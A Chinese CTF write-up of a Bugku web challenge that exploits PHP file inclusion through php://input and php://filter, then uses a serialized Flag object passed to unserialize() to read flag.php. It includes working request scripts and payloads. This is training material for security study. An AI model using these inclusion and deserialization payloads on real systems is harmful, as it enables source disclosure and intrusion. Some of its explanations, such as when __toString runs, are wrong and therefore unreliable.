题目描述:
查看源码:
you are not the number of bugku !
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
- 加载file的条件是:
user不为空,user作为一个文件进行读入内容等于"welcome to the bugkuctf"
想法:
利用php伪协议php://input,对请求的body参数进行读取,然后赋值给user,构造payload
- 写个脚本(password还不知道,随便写一个):
import requests mysession = requests.Session() r = mysession.get("http://123.206.87.240:8006/test1/index.php?file=hint.php&password=123&txt=php://input", data="welcome to the bugkuctf") print(r.text)
其结果只是显示了一个:hello friend! 其他的都一样,总感觉是上面提示的php文件的内容不全,这个时候其实已经读出来 hint.php 要输出的内容了,只是没有显示源码。
- 御剑后台扫描结果为,多出来一个xxx.php:
- 对 xxx.php 进行访问:
- 看来要爆破一波了!打开burpsuite,抓包发送到Intruder:
payloads下选择,Passwords字典,进行爆破,结果没出来:
看了看大佬的博客,发现路又走偏了
正确解题思路
- 要对 hint.php 进行源码的显示,所以要用到php://filter伪协议,再次构造payload:
import requests mysession = requests.Session() r = mysession.get("http://123.206.87.240:8006/test1/index.php?password=123&txt=php://input&file=php://filter//read=convert.base64-encode/resource=hint.php", data="welcome to the bugkuctf") print(r.text)
- 得到hint.php的源码的base64编码:
解码一下,得到 flag.php(就是上面的hint.php):<?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("good"); } } } ?>
- 之后对index.php源码的base64编码进行的读取,改一下上面脚本中的URL即可:
r = mysession.get("http://123.206.87.240:8006/test1/index.php?password=123&txt=php://input&file=php://filter//read=convert.base64-encode/resource=index.php", data="welcome to the bugkuctf")
对得出来的base64编码进行解码得到:
<?php $txt = $_GET["txt"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){ echo "hello friend!<br>"; if(preg_match("/flag/",$file)){ echo "不能现在就给你flag哦"; exit(); }else{ include($file); $password = unserialize($password); echo $password; } }else{ echo "you are not the number of bugku ! "; } ?> <!-- $user = $_GET["txt"]; $file = $_GET["file"]; $pass = $_GET["password"]; if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){ echo "hello admin!<br>"; include($file); //hint.php }else{ echo "you are not admin ! "; } -->
- 根据 index.php 源码,需满足的要求是:file参数中不含有'flag'字符串
直接把file赋值为flag.php的方式行不通了,即file参数就不能再用了,只剩下password参数还可以使用 - 利用 echo $password:
它会先执行$password的内容,然后将结果显现出来。在执行之前有个unserialize($password) 函数 ,我们要做的就是将要执行的语句进行序列化之后构造payload,然后index.php进行反序列化,之后echo 执行。- 构造payload:
思想是:__toString() 方法是PHP的魔术方法,会在类生成实例时自动执行,只有在直接使用于 echo 或 print 时才能生效,正好这里有echo,之后,把password赋值成为Flag类型,Flag中的参数$file赋值为flag.php,之后它就会执行__String()方法了
因为$password有个unserialize()操作,所以先要执行serialize()操作,之后构造payload
写个PHP脚本:<?php /*之所以又构造了一个Flag类是因为我们要在本地模拟服务器的环境,我们通过payload对index.php进行请求, payload里面的file参数是hint.php,index.php里面对其进行了include($file)操作因而可以直接使用Flag类, 而我们本地没有index.php和hint.php,所以直接模拟一个Flag类,之后对其进行序列化,然后将最终的序列化后的值 在构造payload时给password,如果在服务器上,它就真的会执行相应的操作了*/ class Flag{ public $file; } $s = new Flag; $s->file = "flag.php"; $s = serialize($s); print($s); ?>
执行结果为:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
先对以上的序列化结果进行URL编码,最后,构造payload:
import requests mysession = requests.Session() r = mysession.get("http://123.206.87.240:8006/test1/index.php?txt=php://input&file=hint.php&password=O%3a4%3a%22Flag%22%3a1%3a%7bs%3a4%3a%22file%22%3bs%3a8%3a%22flag.php%22%3b%7d", data="welcome to the bugkuctf") print(r.text)
得到flag:
- 构造payload:
知识点
- unserialize(object) 是php7以来的用于防止非法数据进行代码注入,提供了更安全的反序列化数据
- preg_match()函数搜索字符串模式,如果模式存在返回true,否则返回false
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
$pattern /***/ 两个/ 之间包含的匹配的模式 $subject 是匹配的对象
preg_match() 匹配成功一次后就会停止匹配,如果要实现全部结果的匹配,则需使用 preg_match_all() 函数。